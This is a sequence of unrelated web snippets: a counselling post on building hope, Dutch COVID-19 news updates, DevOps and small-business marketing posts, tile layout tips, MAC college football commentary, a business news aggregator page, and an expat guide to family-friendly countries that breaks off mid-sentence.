example, few people will win the lottery no matter how much we long for it or how many tickets we buy. Feeling Hopeless? You may ask, what if I feel hopeless? Hope is something we create. It begins in childhood with a secure and supportive family and continues throughout life. For the many who did not have that kind of childhood. Hope can be developed and strengthen in your adult life. Specifically, taking actions will build hope. Develop goals that are achievable, create strategies and methods to achieve those goals, and motivate yourself to do the work necessary to accomplish those goals. I offer you 5 ways to build hope in difficult/uncertain times: 1. Make a difference: Reach out beyond your everyday life, join a cause, volunteer with an organization or reach out to someone you know is lonely or in need. We get hope by giving hope. When we give to others it activates the part of out brain that activates dopamine and oxytocin, brain chemicals that cause feelings well being. 2. Express love in a concrete way: Say kind words to a stranger, write notes, express gratitude. When you are out shopping, go to a restaurant, or receive any kind of service, say thank you. It adds warmth and energy to your life and creates a positive, hopeful spirit. 3. Treat each day as a precious gift: Look for the good in each day. Find people to appreciate. No matter how difficult the day, there is something you can find that is good and positive. 4. Limit the time you spend watching the news and reading social media: More is not better when it comes to knowing what is happening in the world. Too much news is overwhelming, and increases anxiety and depression. Consider having one day a week of “news fasting.” Anything you miss will be there tomorrow. 5. Go outside and connect with nature: In the 1960s, the term “tree-hugger” was used for someone who found nature meaningful. These people would actually hugs tree. Try it. See how it feels. Nature is an immovable source of strength. Try these suggestions for a day. Pay close attention, make notes and see for yourself the power you have to create hope for yourself and others. Is nothing you're doing helping you to feel hope? Call me, I can help you find hope in your life. 919--881-2001
0.950119	The number of new patients admitted to hospital with COVID-19 increased to 538 admissions last week. That is 266 more admissions than in the previous week. 07/27/2021 - 15:20 Increase in hospital admissions, cautious stabilisation in positive COVID-19 tests In the past week from 14-20 July 2021, the reported number of people who tested positive for COVID-19 increased by 34% compared to the previous week. 07/20/2021 - 16:30 Number of people who tested positive increases sixfold, reproduction number rises to 2.17 In the past week from 7-13 July 2021, the number of reported positive tests increased more than sixfold (+508%) compared to the previous week. This increase was observed in all security regions. 07/13/2021 - 17:15 Early indicators added to coronavirus monitoring in sewage on Coronavirus Dashboard This week, early indicators were added to the sewage measurements page on the Coronavirus Dashboard provided by the national government. These values help to clarify the measurements by indicating how serious the situation is. 06/24/2021 - 12:46 Downward trend continues in all areas The number of people in the Netherlands who tested positive for COVID-19, hospital admissions and ICU admissions is continuing to decrease. The downward trend is clearly positive. 06/08/2021 - 15:10 RIVM launches study on long-term effectiveness of COVID-19 vaccines RIVM is launching an extensive study today to research the long-term effectiveness of the various COVID-19 vaccines in the Netherlands. 05/10/2021 - 12:00 Situation in the Netherlands remains concerning In the week from 10 to 16 March, 39,527 people received a positive test result for COVID-19, nearly 25% more than in the week before that. The reproduction number completely above 1 this week. 03/16/2021 - 16:00 Sander Koning Prospects not looking good yet The number of people who were tested for SARS-CoV-2 increased by 20% last week. The number of people who tested positive rose by 7%. The reproduction number also rose above 1. 03/02/2021 - 16:15 Care workers in nursing homes and small-scale residential facilities invited for COVID-19 vaccination starting today As of today, the ca. 269,000 care workers of nursing homes and small-scale residential facilities in the Netherlands are invited to make an appointment for a COVID-19 vaccination. 01/04/2021 - 11:38 New edition of Dutch food composition database NEVO-online: compositional data on more than 2150 food items The National Institute for Public Health and the Environment published a new edition of the Dutch food composition database (NEVO). This 2019 edition contains nutrient data for over 2150 food items. Values for 133 components (proteins, fats, fatty acids, vitamins and minerals) are available.
0.997054	On the heels of our recent white paper: Accelerate Software Development with DevOps and Hybrid Cloud, I’ve written a bit on the subject of DevOps, Agile, and hybrid cloud. While integrating software development, QA, and IT Operations enables increased visibility and accelerated software development and deployment, implementing DevOps only serves as a strong first step for enterprises seeking to accelerate software delivery cycles. By concurrently implementing Agile development and combining DevOps with hybrid cloud architecture, the enterprise can dramatically accelerate software development and innovation without the need to allocate additional capital expense resources. Here’s an excerpt from a recent article, The Challenges and Rewards of DevOps and Agile Integration, published on Techwell.com. From the article: By breaking down barriers between previously siloed, independent teams, DevOps enables a unified approach to enterprise software development, testing, and delivery that reflects the needs of the entire application lifecycle. It strives for more collaborative, productive relationships between development and operations teams, with faster development cycles and reduced production risks. DevOps carries many advantages over traditional development processes, including fewer bugs, faster fixes, and increased visibility. However, it also presents new challenges. A significant reorganization of personnel is required, and DevOps demands a greater degree of interdepartmental coordination. The agile development model enables the enterprise to produce higher-quality software that is more in tune with user needs and offers swifter release cycles. However, enterprise IT environments are rarely optimized to leverage the software acceleration and innovation advantages of agile release cycles. Not only are traditional development environments slow to provision, but they are difficult to change once created. Implementing agile development requires a disciplined approach to managing the high amounts of automation involved. Virtualization technology can be used to run all aspects of the enterprise IT environment, allowing organizations to provide the elasticity to scale resources to optimize both agile development and DevOps initiatives. Read the full article on Techwell.com: The Challenges and Rewards of DevOps and Agile Integration Join our email list for news, product updates, and more. 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0.999785	Originally published on October 1, 2013 on QBSBDC.com as the second of four blog posts in a series designed to help small businesses, and those that serve them, be successful. Nearly 80% of active U.S. internet users visit social networks and blogs, according to the SMB Group’s 2012 SMB Social Business Study. This explains why social media marketing is commonplace and effective for most large companies. At the same time, only 28% of small businesses using social tools identify themselves as applying social in a ‘planned, strategic way.’ Small businesses that use social media in a strategic way are more likely to be satisfied with results than those using it in an ad hoc way. Social media can give a small business the boost it needs to advance to the next level. In fact, 42% of small businesses using social media reported an increase in leads or traffic to their website. What does it mean to be a strategic user of social media? Here are five best practices worth exploring: Step 1: Scope out the competition Spend a little time on the most popular social media networks and check out how your competitors use those sites. Where do they post? What do they write about? How often do they post? Next, set up your own accounts and start experimenting. Step 2: Explore customers’ use of social media Discover how often your customers visit social media sites, what information and experiences they seek, what tools they prefer and what kinds of information they share. Step 3: Research what people are saying about you As you become more familiar with social media, look at how people engage with your company online, including positioning, credibility and following on social networks. Step 4: Ramp up gradually Start slowly and then maintain a steady pace. If you begin by posting frequently and then peter out to nothing, your fans could lose interest. Step 5: Have a game plan and chart progress Create a series of posts to cover at least three months of social media activity. Think in terms of upcoming holidays, seasonality, your own promotional calendar, and other time-linked events. This will help keep the content fresh and relevant to your audience. Of course, you should update your scheduled posts if there is a newsworthy event, showing you are in tune with what is going on. Always respond promptly to social media messages about your business to demonstrate that you are listening to customers and engaged. Share this: Twitter Facebook Posted in Blog - Laurie McCabe, SMB, Social Business, Social BusinessTagged ASBDC, email marketing, Intuit, QBSBDC, Small Business, SMB, Social Media, social networking, social software Post navigation The Elance Engine: Helping SMBs Fill the Skills Gap Dell’s Green IT Growth Path: Paving the Way for SMBs Leave a Reply Cancel reply Your email address will not be published. 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They do not honor it at all 7:55 pm · August 17, 2020 Sanjeev Aggarwal @sanjeevaggarwal IMPACT OF COVID-19 ON SMBS: NAVIGATING A PATH FORWARD How SMBs expect the impact of COVID-19 to evolve in the next 6 months, plus tips to navigate: bit.ly/35hVt36 #SMB #smallbiz #covid-19 #movingforward @Acumatica @SageIntacct @Workday @smbgroup pic.twitter.com/KaJb2KXzPt 4:56 pm · May 4, 2020 Sanjeev Aggarwal @sanjeevaggarwal Measuring the Impact of Covid-19 on SMBs: Preliminary SMB Group Survey Results - bit.ly/2wLmcZj pic.twitter.com/tRcksugK7U 5:14 pm · April 2, 2020 Sanjeev Aggarwal @sanjeevaggarwal We are facing one of the biggest personal and business challenges of our lifetimes. SMB Group is fielding a survey to better understand the impact of Covid-19 on SMBs. Please take our survey: bit.ly/2xiMMZn. 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0.840176	If you want to make a space stand out, whether in your home or in your commercial property, you can do so with the right tile pattern. With tiling, you have so many options to choose from, which makes it a great option if you want to personalize your space and make it stand out. Here are some of the popular tile layouts that you should know about: Classic These are timeless patterns for floor and wall tiles. Classic ones are the easiest patterns to lay, especially if you’re doing it yourself. Using these patterns are perfect if you want a space to look smart and modern. Traditional Stack A traditional stack layout for tiles is one of the most popular because it’s so simple. All you need to do is layout all the tiles in straight lines to form a neat grid—and that’s it! So, if you’re looking to DIY it to save on labour costs, then it’ll do you good to go with a traditional stack layout. It is perfect for square and rectangular tiles as well. Diagonal This layout is similar to the traditional stack, the only difference is that this layout is rotated at a 45-degree angle. When you lay square tiles diagonally, it quickly turns into a diamond, which is perfect for tight spaces such as bathrooms. Tiles that are laid out diagonally can highlight the longer lines that run diagonally across the room. You can also use this layout for small wall features such as splashback tiles. Brick Bond This type of layout is laid out in rows—each row offset half a tile length from the row either side of it. It’s how bricks are laid out in a wall, and it creates a staggered look without the strict stacked pattern. With this layout, you can choose to do it horizontally, vertically, or diagonally. Alternating Stacked Layouts This layout is a combination of traditional and brick bond patterns that carry a distinctive style. To do this layout, begin with a normal stacked layout and shift every second row up half a tile width. This layout may be a little complicate to DIY, so you may want to hire an expert to do the tiling for you to get the best results. Herringbone This layout is one of the most effective and striking patterns today. It is used when you want to draw the eye through a space. You can achieve this by laying rectangular tiles in a zig-zag pattern. French Pattern You may see a French pattern and think of it as something “random.” Over time, the intricate pattern and its careful planning will become apparent. This pattern uses tiles of different sizes, and is ideal for outdoor areas or for a more “bohemian” effect. Windmill Similar to the pinwheel pattern, but the central square tile is surrounded by four rectangles that form a larger square. Pinwheel This is also known as hopscotch and it surrounds a small square tile with much larger square tiles that create that pinwheel effect. Conclusion Knowing the various tile layouts will help you create a unique design plan for your flooring. Now that you understand the many different types of tiling layouts, which one do you think is the perfect one for your property? Do you need help with tiling installations and waterproofing services? Contact our team at Smooth Service Tiling in Brisbane today! We’re happy to help! 5 views0 comments Post not marked as liked Recent Posts See All Benefits of Seeking Professional Tiling Services For Your Walls The walls of your residential or commercial property hold a lot of potentials to be decorated and coloured. They act as blank canvases that, when adorned correctly, can help you add warmth, colour, an 90 Post not marked as liked Five Reasons You Should Install Tiles In Your Bathroom Floors And Walls Unlike any other part of the house, there are many aspects that you should consider when designing your bathroom. You will want to balance out the functionality and aesthetics of the space. Furthermor 120 Post not marked as liked How To Turn Cheap Tiles Into A Stylish Feature Of Your Kitchen Kitchen remodelling is time-consuming and expensive since you would probably need to replace a few permanent fixtures in your space. Some projects would include kitchen tiles, which as you may know, c 100 Post not marked as liked Smooth Service Tiling Smooth Service Tiling is a fully licensed Wall and Floor Tiling company based in Brisbane, Queensland. We provide wall and floor tiling installations and waterproofing services to both residential and commercial sites. Contact us now for a FREE quote!
0.998891	TFF: Eastern Michigan surprised Ball State last week, but was it the most baffling result of the weekend? Temple and Bowling Green: How in the world do you let the Falcon's hang around like that. The week after getting taken behind the woodshed by NIU it looks really bad that the Owl's could not Bury BG. Don't get me wrong I think Chester Stewart doing clipboard curls this week will help the cause but still, the play calling was baffling. If they struggle this week against Buffalo (don't blow them out of Amherst) then it's really looking like the East is up for grabs (Temple, Ohio, Miami). TFF: Pick the four bowl tie-in contestants and, just for fun, polish the crystal ball and figure out who is going to Mobile, Detroit, Boise, etc. Break this up into categories: Going Bowling unless an asteroid hits the school - NIU, Toledo and Temple: NIU and Temple Each has already obtained five wins with some cake games ahead of them (Akron, EMU). Toledo with four has EMU and Ball State on their schedule. They also host CMU in the final week and the Chips are very mortal this year. Going Bowling unless they are hit by a terrible flu bug - Ohio and Miami (yes Miami). The winner of this weeks game has five wins, the loser needs two, maybe three more. If Ohio Wins then all the Bobcats need to do is beat ULL or Kent, both winnable games. Miami would need to beat Akron (cake walk) and Bowling Green or Buffalo. If Miami Wins then then all they need to do is beat Akron. Ohio would need to beat ULL and Kent, they will also probably beat Buffalo. Going Bowling with the help of a Faustian contract: Buffalo, WMU: Both the Bulls and Bronco's have looked terrible this season but they have enough soft games left to get to six wins. Buffalo has Akron, EMU, and BSU all teams they could beat. They would need to upset Ohio or Miami either of which would be a tall order WMU has Akron, EMU, Bowling Green and Kent, again very winnable games. They also get a shot at the Chips. Predicting who goes to what game? Impossible in the MAC because bowls are less tied to ranking then they are to back room deals. If I had to guess NIU will win the conference and goes to Detroit to face a Big 10 Team. After being sent to Canada last season the Huskies should get the Bowl which is geographically closest to them. Temple goes to the Go-Daddy Bowl in Mobile. Ohio is off to Boise and Toledo plays cleanup picking up an at-large. TFF: Last year there were five MAC bowl teams. How many this year? Four, tops. TFF: Who is the offensive player of the year (and the runnerup) so far in the MAC? Easily that's Chandler Harnish from NIU, after being relegated to the backup role in week one he has been on fire. After that I would say Zack Dysert from Miami who really is starting to look like he might be the next great MAC QB.
0.990037	As we learn to live in this “new normal” of media overflowing with stories about COVID-19, protests and civil unrest it’s sometimes overwhelming to think about pitching stories to journalists. How can we pitch stories to press about our businesses when the world has turned upside down? Journalists are looking for stories, and there are plenty of ways to provide the content they are seeking. You just need to know how to discover what they are looking for, and the most effective ways to present yourself as a resource. In this article, I’m going to break down three ways you can figure out what journalists need and pique their interest. 1. Respond to journalists seeking sources on Covid-19 Forget about pitching journalists an idea you came up with on your own or with your team … What Local Business Owners Are Doing to Recover From the Covid-19 Tsunami 2020-06-20 By: Lyod On: June 20, 2020 June 19, 2020 8 min read Opinions expressed by Entrepreneur contributors are their own. According to the Bureau of Labor Statistics, 21 million people are currently unemployed. To put this in perspective, the Great Recession in the early-2000s saw its height of unemployment in 2010 at 14.8 million. The COVID pandemic has not only left this number in the shadows, but the speed at which it occurred is also like no other in our history. The result? Employees and contractors were quickly displaced and left scratching their heads saying, “What just happened?” Businesses scrambled to communicate with employees, clients, and vendors. Leadership teams worked tirelessly to adhere to remote requirements, struggled to put technologies in place, and quickly built new processes to maintain revenue that would keep the doors open and employees on staff. It has left a trail of exhaustion. But, in the wreck of it all, the … Gold prices today: Rs 48,334 per 10 gram; silver rises to Rs 49,160 per kg 2020-06-20 By: Lyod On: June 20, 2020 Gold price in the national capital rose by Rs 144 to Rs 48,334 per 10 gram in-line with the gain in international prices of the precious metal, according to HDFC Securities. In the previous trade, gold had closed at Rs 48,190 per 10 gram. Silver also gained Rs 150 to Rs 49,160 per kg from Rs 49,010 per kg in the previous trade. “Spot gold prices for 24 carat gold in Delhi were trading up by Rs 144 with strong international gold prices and rupee depreciation,” HDFC Securities Senior Analyst (Commodities) Tapan Patel said. The rupee settled 6 paise lower at 76.20 (provisional) against the US dollar on Friday as strengthening of the US currency and rising Covid-19 cases weighed on investor sentiment. In the international market, gold was trading with gains at $1,729 per ounce and silver at $17.49 per ounce. Gold prices continued upside … Search Recent Posts Here is What Video Entrepreneurs Can Study From Lil Nas X Credibility credentials matter S&P 500 Draw back Hedged ETF (PHDG) Hits a 52-Week Excessive Neogen Chemical compounds surges 16% on wholesome outlook, up 27% in 2 buying and selling days Consideration, entrepreneur! That is the very first thing you need to do earlier than coming into the market Archives December 2021 November 2021 October 2021 September 2021 August 2021 July 2021 June 2021 May 2021 April 2021 March 2021 February 2021 January 2021 December 2020 November 2020 October 2020 September 2020 August 2020 July 2020 June 2020 May 2020 April 2020 March 2020 February 2020 December 2019 November 2019 October 2019 September 2019 August 2019 July 2019 June 2019 May 2019 April 2019 March 2019 February 2019 Categories Advertising Biz News Blog article Business Class Business Future Business Intelegence Business Management Economy Market Personal Finance Project Management Strategy Management June 2020 M T W T F S S 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 « May Jul » Tags administration advertising begin between business businesses capital companies corporation coverage credit digital earnings economic enterprise environmental fargo finance financial function google ideas importance information insurance inventory journal management marketing markets monetary networking political product providers public recruitment relations revenue small social start system wells world
0.999937	Are you thinking of moving abroad with your family? Or are you already in the process of relocating with kids? We know that planning to move abroad gives you a lot to think about, but when you’re thinking of moving with your children you have to think about and plan so much more. So, to make it easier for you, we have come up with a list of best countries to raise a family around the world, and shared some top tips from expats who have already had experience of relocating abroad with family. What can you learn from the families who have already moved to new homes in other countries and are raising their kids abroad? In this article 1/ What are the best countries to raise a family? 2/ Top tips from expats relocating with kids Relocating abroad with kids can be truly rewarding / GETTY IMAGES Best countries to raise a family when you are relocating with kids Making the decision to move abroad is a big decision for anyone, but if you have children who will be making the move with you, the relocation process can become even more daunting. The benefits of living and working abroad at any age are enormous; however, kids often have difficulty seeing the exciting parts of such an opportunity in the face of the loss of familiar locations and friends who will be left behind. Language can initially be a barrier too; ensuring that your move abroad is successful for all of your family members when you are relocating with kids will take significant preparation in advance of your departure date. So, what are the best countries in the world to raise a family? UNICEF ranked best countries across the Organisation for Economic Co-operation and Development (OECD) and European Union (EU) based on their national family-friendly policies: Sweden Norway Iceland Estonia Portugal Germany Denmark Slovenia Luxemburg France Source: UNICEF’s Office of Research – Innocenti. Are the world’s richest countries family friendly? Policy in the OECD and EU. 2019 Since this ranking, which analyses six categories that identify favorable conditions for raising a family, including safety, happiness, cost, health, education and time, other studies have produced slightly different lists. Here, we take a closer look at some countries with the world’s best conditions to raise a family and how their approaches differ. Despite the COVID-19 pandemic, Western European countries top a list of nations seen to be the best countries in the world to raise a family. Which countries are best for women? check out these places famous for female empowerment What are the best countries to raise a family? The coronavirus has put a spotlight on how difficult it is to raise children and juggle a career at the same time. Lack of free or affordable child care was a problem before the pandemic, so this is something you should definitely consider when relocating with kids. So, the ranking below draws from a global perspective and ranks countries based on scores from a compilation of different country attributes: safety, childcare cost, happiness, health, education, maternity and paternity leave. Iceland Not only is Iceland known as one of the best places in the world to be a mum, it’s also the world’s best place for working parents, thanks to the flexibility and benefits both parents enjoy when it comes to raising kids. Icelandic parents enjoy more time with their newborns. Close to 90% of fathers take their mandatory 3 months’ paternity leave, and research shows that Icelandic dads continue to be involved in their kid’s childhood.Whether they are at work or university, mothers and babies are welcome everywhere – even in parliamentary sessions. The reason for this is pragmatic: babies need to stay close to their mums during this crucial stage of development. Family walking in the area of beautiful waterfall in Skaftafell national park in Iceland / GETTY IMAGES Beyond the newborn stage, Icelandic parents have access to a wealth of activities and facilities that make it easier to bring their children around5. By simply including their kids in as many of their life experiences as possible, the precious moments and memories they share enable children to bond naturally closer with their parents. Mums and dads learn to balance their work and social commitments while staying involved in their children’s development. Free from any pressure to choose between family and career, parents share child rearing responsibilities while having the space and time for themselves to grow as individuals. Country breakdown: Safety: 10/10 Childcare cost: 9/10 Happiness: 8/10 Health: 9/10 Education: 7/10 Maternity and paternity leave: 10/10 Key values in a typical Danish family include punctuality, planning, and responsibility / GETTY IMAGES Denmark The Scandinavian country is known for its excellent track record in terms of child care, safety standards, and enabling infrastructure, that’s why it is on our list of best places for relocating with kids. Citizens with per capita GDP of over $52,000 are more than happy to pay higher taxes as they are getting the best atmosphere for the upbringing of children. Safety, care about human rights, environment for gender equality and a well-developed public education system are among the factors that brought Denmark to one of the best countries to raise a family list. Looking for international health insurance for your family? Get an online quote in under 60 seconds Some of the reasons behind are government promoting gender equality by offering earnings-related day care system and a very flexible parental leave policy. Working hours are short, and it’s perfectly OK to leave work at 3 or 4 o’clock to pick up your kids. There’s a good system for early childhood health. A nurse visits your home when your child is a baby. Later, there are regular checkups with a doctor. If your child has the sniffles, you can take off work and stay home with her. The first two days are paid time off. And, of course, there’s the day care system. It’s not free, but it’s reasonably priced, and it’s nice to be able to drop off your kid in a safe place with trained people while you go to work. Country breakdown: Safety: 9/10 Childcare cost: 9/10 Happiness: 9/10 Health: 6/10 Education: 8/10 Maternity and paternity leave: 8/10 Sweden has been considered as one of the best countries for expat families to raise children in / GETTY IMAGES Sweden The country of 10 million Swedish scores perfect on human rights and the environment. With an almost equivalent per capita GDP of $53,000, the country has one of the highest child security standards with the best in class health and education infrastructure – relocating with kids should be a great idea! Sweden is considered a great place to raise kids. Institutions like Försäkringskassan (Swedish Social Insurance Agency), make it possible for parents to spend more time with their children. Children from the age of three receive 525 hours a year free of charge. The system is complemented by paid parental leave arrangements that provide 480 days for each child, insured at 80 per cent of parental income. Both parents are expected to actively take part in raising children. This includes taking time off from work to take care of a sick child or to go on paid parental leave. Parents can share days or transfer them to each other. Country breakdown: Safety: 9/10 Childcare cost: 8/10 Happiness: 10/10 Health: 9/10 Education: 7/10 Maternity and paternity leave: 9/10 The Finnish believe that play, solo or with peers, helps prepare kids for formal schooling as it builds one's social skills and self-esteem / GETTY IMAGES Finland Finland has been widely recognised as one of the safest country in the world. Considering the dangers of the world today such as war, crime, and terrorism – being safe and sound is something every family needs above all else when you are relocating with kids. Parents worry over their kids’ safety above everything else. Knowing you’re living in a country known for its safety helps turn this everyday worry into an afterthought. New mothers can choose to either receive the baby box- a container holding many essentials for taking care of a baby, which can also double as a crib, which all mothers residing in Finland can apply to receive. If there is no need for this package, the family can apply to receive an untaxed sum of 140 euros per newborn- all covered by the Finnish government. The government also offers a paid maternity leave of 4 months-not only for regularly employed mothers, but also those who are self-employed, students, and even unemployed. And if that isn’t enough, “rainbow families”, or same-sex families are allowed to avail of these benefits. The fees for public child day care (varhaiskasvatus) depend on the family’s income. The maximum fee of municipal early childhood education is US$340 (€288) for the first child and US$170 (€144) for the second child. The minimum fee is US$32 (€27) per child. Country breakdown: Safety: 10/10 Childcare cost: 9/10 Happiness: 9/10 Health: 8/10 Education: 7/10 Maternity and paternity leave: 9/10 In Norway, parents have joint parental responsibility for the children they have together / GETTY IMAGES Norway Norway is considered one of the most environmentally suitable countries for kids. The westernmost country in the Scandinavian Peninsula, with a population of over 5 million, is known for its highly advanced health and education infrastructure. With per capita income of over $74,000, the Norwegian are providing a perfect ecosystem for the overall growth of kids in the happiest environment – great to know when you are relocating with kids. Another reason why Norway is a very good country to raise your children is due to the fact that children’s’ development and care are prioritised. Children of all ages get to play outdoors to help boost their imagination, while every city in Norway provides a variety of activities for families. Children in Norway begin attending kindergarten at the age of one, right after parental leave ends. This is known as barnehage and children normally go to one in their municipality. There are also different types of kindergartens, depending on how many hours a day you need childcare, so you have several options to choose from, amid which such where you can interact with other parents while your children are playing. Your family always comes first in Norway and employers understand this, so they are very considerate when it comes to your taking care of your children when they get sick. Moreover, all children under the age of 16 are entitled to free medical care, including dental care, so there’s no cause for concern if you and your family are moving to Norway. Country breakdown: Safety: 9/10 Childcare cost: 8/10 Happiness: 10/10 Health: 9/10 Education: 7/10 Maternity and paternity leave: 9/10 Dutch children are regularly found to be the happiest in the world / GETTY IMAGES The Netherlands When it comes to health and welfare, the Netherlands is in another North European country, leading the raising of children ranking and everything related to relocating with kids. Known for family values and freedom, the country has the highest environmental rating along with highly protective child safety standards. With a population of 17 million, the country of windmills and ports has the world’s best health and education system. People with per capita GDP of over $56,000 are spending big on child care. Looking for expat health insurance to protect your family abroad? Get an online quote in under 60 seconds There are many theories on why the Netherlands is home to the world’s happiest children, but many agree that it is a combination of numerous things. A child’s opinions and views are valued and heard in the Netherlands. In fact, children are encouraged to voice their opinions at a young age. Schools and (international) childcare providers often work with a children’s council that meets regularly to discuss and participate in decisions on current topics. The Dutch government encourages cities to promote the rights and interests of children through local initiatives such as reserving three percent of residential areas for children’s playgrounds, sandboxes, and more. In the Netherlands, it is not unusual to find more than one playground, soccer field, and fitness area per neighbourhood. Country breakdown: Safety: 7/10 Childcare cost: 8/10 Happiness: 10/10 Health: 8/10 Education: 7/10 Maternity and paternity leave: 9/10 If family meals are important to you, the Swiss school system ensures you have lunch with your children everyday / GETTY IMAGES Switzerland The quality of maternal and baby healthcare in Switzerland is second to none. Relocating with kids can be a great idea: from the moment their babies are born, Swiss mothers are surrounded by comforting expert help from people with time to spare. There is no rush to send new mothers home from the hospital. Time is taken to help get breastfeeding established if desired. And in most cases, it is desired. Almost two-thirds exclusively breastfed in the first three to four months, way ahead of most other European countries. Swiss parents are generally reluctant to hand their children over to childcare providers. This may have something to do with the history of children who were taken away from poor parents by the authorities in the not very distant past. Grandparent care is very common, and mothers of young children rarely work full time. More fathers are reducing their working hours too. Country breakdown: Safety: 8/10 Childcare cost: 6/10 Happiness: 8/10 Health: 10/10 Education: 7/10 Maternity and paternity leave: 9/10 Top tips from expats relocating with kids Moving abroad with children can be one of the most rewarding experiences in life, and it is becoming more and more common nowadays among families who see living abroad as something they must experience at least once in their lifetime. But moving abroad with children is not an easy task – apart from financial factors, emotions and expectations need to be factored in before jumping on a plane, in order to ensure a successful transition. Where will they go to school? How will they settle in? Will they make friends? How does relocation affect a child? How can you make sure children get the most from their expat experience, whether you’re moving permanently or temporarily? We have put together top tips for relocating with kids, to help you ensure that your relocation can be a great experience for the whole family. There’s no one better to give advice on relocating with kids than those of us who have already done it: Clara Wiggins, author of the Expat Partner’s Survival Guide Theodora Sutcliffe, freelance journalist and nomad Jaimie Seaton, writer, journalist and editor from US Tip 1/ Getting ready to move Ask seasoned expats and they’ll agree that it’s important to get the kids involved in researching and preparing to live abroad. Talk to your children about where you’re going and why, and the opportunities the move offers. They might be excited about the move, but if they’re worried, listen to what they have to say and discuss the issues with them. If at all possible, visit the place you’re moving to ahead of time – you can even give older children the chance to give their input when choosing a home. Try to research the weather patterns of your chosen destination – moving abroad where it is sunny can be more appealing to younger members of the family! We also recommend researching local and traditional celebrations in your new destination. Christmas and New Year is traditionally a time to be spent with friends and family. If it is the most celebrated time of year in your family, imagine your first Christmas in your new country where you do not know anybody, you may not even be able to buy a Christmas tree and all the gifts sent by post have not yet arrived. Clara Wiggins, along with her husband and their two daughters, have lived in a host of locations around the world. She suggests preparing children for moving by involving them in home searches and school visits. “If you are not able to take children on a look-see, I would recommend doing a video for them or even a live Facetime or Skype so they can get an idea of where they are going.” Google Earth and Streetview can be useful too, she says. Tip 2/ Research children’s healthcare Concerns about your children’s health will be one of the items at the top of the agenda when you move to a new country. It’s important to research what’s available when you choose your location: Will your child be able to access state healthcare and what is the standard of that healthcare? Will you be living within easy reach of doctors’ surgeries and hospitals? If your child needs specific medication or access to ongoing treatments, how accessible will these be? If the company you’re working for is providing health insurance, will it cover your children? Call local hospitals or doctors, and seek advice from other expats via online forums and Facebook groups. Once you get to your new country, be aware that many health issues can be prevented by using common sense. Make sure that your children understand safety rules about drinking water; for example, can they brush their teeth with tap water? The same applies to food safety, especially at street stalls and markets. But given the incredibly varied quality and availability of public healthcare from country to country, not all expats will move to a location that offers reliable local medical services. You may even be expected to foot the bill for private healthcare, so having international health insurance cover in place is vital before you go anywhere. While her family were posted in St. Lucia, Clara knew that if there was a serious health incident, they would be medically evacuated under the terms of her private insurance plan. But she also suggests preparing for the unexpected. “I always recommend doing a ‘dry run’ to your local emergency department or hospital and making sure its location is in your GPS and number is in your phone,” she says. She points out that it is also important to know what the procedure is when you arrive at hospital, for example, do you need to pay for treatments up front? Such procedures will vary greatly depending on whether you have an international private medical insurance (IPMI) plan, if it provides direct settlement to the hospital, or if you’re accessing care independently. Expat children’s vaccinations Before you make the move, find out what vaccinations your children need for the country of your choice. They may be different to the ones they’re routinely given at home, as there may be different health risks in the country you’re moving to. You’ll also need to stay up-to-date with your child’s immunisations while you’re overseas. Be aware that countries have their own vaccination schedules, so your child may receive their jabs at a different age than they would if they were at home. After four years of travelling together, Theodora and her son settled in Bali. “It’s important to be aware that medical care in Bali isn’t the best,” says Sutcliffe, “Most expats get medical insurance that covers them to be evacuated to home or a second country, typically Singapore, in emergencies.” Want more detail on vaccination schedules in different countries? see our guide to vaccinations for expat children Tip 3/ Education for expat children Expat parents have a couple of choices for education for school-age children: Local schools International schools Again, it’s important to do your research before making a decision on where to live. Whether you choose to send your child to a local school may depend on the standard of state education in the country you’re moving to. However, one advantage of doing this is that it will undoubtedly help your child learn the language of their new home – something that will stand them in good stead in the future. On the other hand, an international school will enable your children to meet others in a similar situation to them, which may help them settle in. What are the best countries in the world for education? check our ranking before you move with your kids Also consider schools when deciding what time of year to make the move – it may be difficult for your child to start their new school in the middle of a year, so you might want to arrange your move to coincide with the start of a new school year. Research school term times and enrolment procedures. Even in your home country, starting a child in a new school in the middle of the school year can be challenging. Imagine starting them in a new school in a new country in the same circumstances. Try to make it easier for your kids to feel at home in the new country. Tip 4/ Think of safety Make sure your children understand safety issues in their new home, for example, which neighbourhoods are safe, whether it’s safe to travel alone and any natural hazards to watch out for. In Bali, where Theodora and her son are based, the beach is a great place to meet other kids but there are dangers to be aware of. “Make sure you and your children understand water safety: the currents in the sea are no laughing matter,” she says. Finding a place to live in the right neighbourhood is an exercise in patience. It’s also an investment in time that many people simply do not have when they arrive. But it need not be a minefield. It’s far easier to have all the data presented as a clear comparison of available properties in your city. Services vary by country, but many real estate websites have robust search engines that allow you to customize your search for a home. With the right pre-move preparations and support from relocation agents, most expats settle in well during their first year; the majority go on to enjoy a richly rewarding experience. But the importance of finding the right place to live in the right neighbourhood cannot be overstated. Also make your kids aware of any cultural issues that could get them into tricky situations. “Frame the move as a great opportunity and adventure, not as a challenge,” Jaimie says. “Do research as a family of your new home, teach them about the culture, look up fun things to do in the new country.” Seaton also ensured that her children understood cultural differences before they moved to Thailand from US. “The main things we had to discuss with them were the strict rules around the royal family. It’s against the law to insult the royals, especially the then-king, who has since passed away.” When it comes to healthcare, Jaimie found local services to be excellent. “The medical care in Singapore (and Thailand) is far superior to the US.” Tip 5/ Make your new house a home Before you shop your possessions to a new country, even letting your children make small decisions about what to take helps them feel in control and a part of the move. Younger children may become distressed seeing all their toys and possessions being taken away; make sure to explain to them that they’re just being moved to their new bedroom. When packing your survival bags for the move, ask your kids to pack their three desert island essentials to keep them entertained on the journey or while they await the delivery of the rest of their belongings. You can also ease the transition by bringing familiar things from home on the plane, rather than waiting for them to arrive later. “We brought my younger daughter’s fairy lights for her bedroom, and we also brought their duvet and pillow covers. The first few nights in a new place can be hard so making their rooms feel like home is one way to help”, Clara Wiggins says. When you finally arrive at your destination, catch up on some sleep, take some time to relax, and explore your new surroundings. You can now concentrate on making your new house a home and settling back into family life. You’ll need your energy for when your belongings arrive; it’s a good idea to get the children’s rooms sorted first. Fill these rooms with familiar things to make them feel more comfortable in their new environment. Get older children and teenagers involved in unpacking their own belongings. By allowing them to decide where their belongings go and decorate their own room, they can build some excitement and feelings of positivity about being in a new city. And don’t forget to celebrate the move as a family. You can even create a new family ritual to mark the happy day. Tip 6/ Settling in and enjoying your new life While some children will adapt easily, others may need more time. If your child is missing friends back home, Skype, Zoom and FaceTime are good ways of keeping in touch. Writing letters helped Clara’s daughter. “Very few of these got 